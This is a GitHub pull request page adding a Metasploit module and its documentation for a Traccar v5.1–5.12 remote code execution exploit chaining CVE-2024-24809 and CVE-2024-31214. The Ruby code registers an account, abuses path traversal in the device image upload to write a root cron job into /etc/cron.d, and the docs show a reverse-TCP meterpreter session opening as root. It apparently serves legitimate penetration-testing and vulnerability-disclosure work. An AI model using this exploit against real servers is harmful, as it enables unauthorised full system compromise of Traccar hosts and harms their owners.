Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Traccar 5 RCE (CVE-2024-31214 & CVE-2024-24809) Module #19416

Merged
merged 6 commits into from
Sep 23, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
79 changes: 79 additions & 0 deletions documentation/modules/exploit/linux/http/traccar_rce_upload.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
## Vulnerable Application

This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability
(CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration,
enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges,
potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the
specified payload.

## Testing

The software can be obtained from
[the vendor](https://github.com/traccar/traccar/releases/download/v5.12/traccar-linux-64-5.12.zip).

Installation instructions are available [here](https://www.traccar.org/linux/).

The vulnerable application runs by default on Eclipse Jetty, which listens on TCP port 8082.

**Successfully tested on**

- Traccar v5.12 on Rocky Linux 9.4
- Traccar v5.11 on Rocky Linux 9.4

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf6 > use exploit/linux/http/traccar_rce_upload
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS <IP>
msf6 exploit(linux/http/traccar_rce_upload) > set LHOST <IP>
msf6 exploit(linux/http/traccar_rce_upload) > exploit
```

You should get a meterpreter session in the context of `root`.

## Options

### USERNAME
Username to be used when creating a new user.

### PASSWORD
Password for the new user.

### EMAIL
E-mail for the new user.

## Scenarios

Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fetch command, should result in an output similar
to the following:

```
msf6 exploit(linux/http/traccar_rce_upload) > exploit

[*] Started reverse TCP handler on 192.168.217.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Registering new user...
[*] Authenticating...
[*] Adding new device...
[*] Uploading crontab file...
[*] Cronjob successfully written - waiting for execution...
[*] Sending stage (3045380 bytes) to 192.168.217.138
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.138:58196) at 2024-08-25 17:03:02 -0400
[*] Exploit finished, check thy shell.

meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat 9.4 (Linux 5.14.0-427.13.1.el9_4.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux

meterpreter > getuid
Server username: root
```
290 changes: 290 additions & 0 deletions modules/exploits/linux/http/traccar_rce_upload.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,290 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
'Description' => %q{
Remote Code Execution in Traccar v5.1 - v5.12.
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
],
'References' => [
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
[ 'CVE', '2024-31214'],
[ 'CVE', '2024-24809']
],
'DisclosureDate' => '2024-08-23',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'Type' => :unix_cmd
}
]
],
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
'Payload' => {
'BadChars' => "\x27" # apostrophe (')
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 75
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server')
})

return CheckCode::Unknown unless res && res.code == 200

data = res.get_json_document
version = data['version']
if version.nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version)
end

unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
return CheckCode::Safe
end

return CheckCode::Appears
end

def exploit
prepare_setup
execute_command(payload.encoded)
end

def prepare_setup
print_status('Registering new user...')
body = {
name: datastore['USERNAME'],
email: datastore['EMAIL'],
password: datastore['PASSWORD'],
totpKey: nil
}.to_json

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/json',
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

auth_status = false

# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
# to run into when this module is executed more than once without updating the provided email address
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
fail_with(Failure::UnexpectedReply, res.to_s)
end

auth_status = true

end

unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end

json = res.get_json_document

unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end

if auth_status == false
print_status('Authenticating...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
end
end

def execute_command(cmd)
name_v = Rex::Text.rand_text_alphanumeric(16)
unique_id_v = Rex::Text.rand_text_alphanumeric(16)

body = {
name: name_v,
uniqueId: unique_id_v
}.to_json

print_status('Adding new device...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/devices'),
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

json = res.get_json_document

unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end

id = json['id'].to_s
body = Rex::Text.rand_text_alphanumeric(1..4)
fn = Rex::Text.rand_text_alpha(1..2)

print_status('Uploading crontab file...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => 'image/png',
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200 && res.to_s.include?('device.png')
fail_with(Failure::UnexpectedReply, res.to_s)
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/b\"",
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end

body = "* * * * * root /bin/bash -c '#{cmd}'\n"
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
cronfn = SecureRandom.hex(12)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
'data' => body
)

h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end

vprint_status('Cleanup: Deleting previously added device...')
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
'headers' => {
'Connection' => 'close'
}
)

unless res
print_bad('Failed to receive a reply from the server, device removal might have failed.')
end

unless res.code == 204
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
end

# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
print_status('Cronjob successfully written - waiting for execution...')
end
end
Loading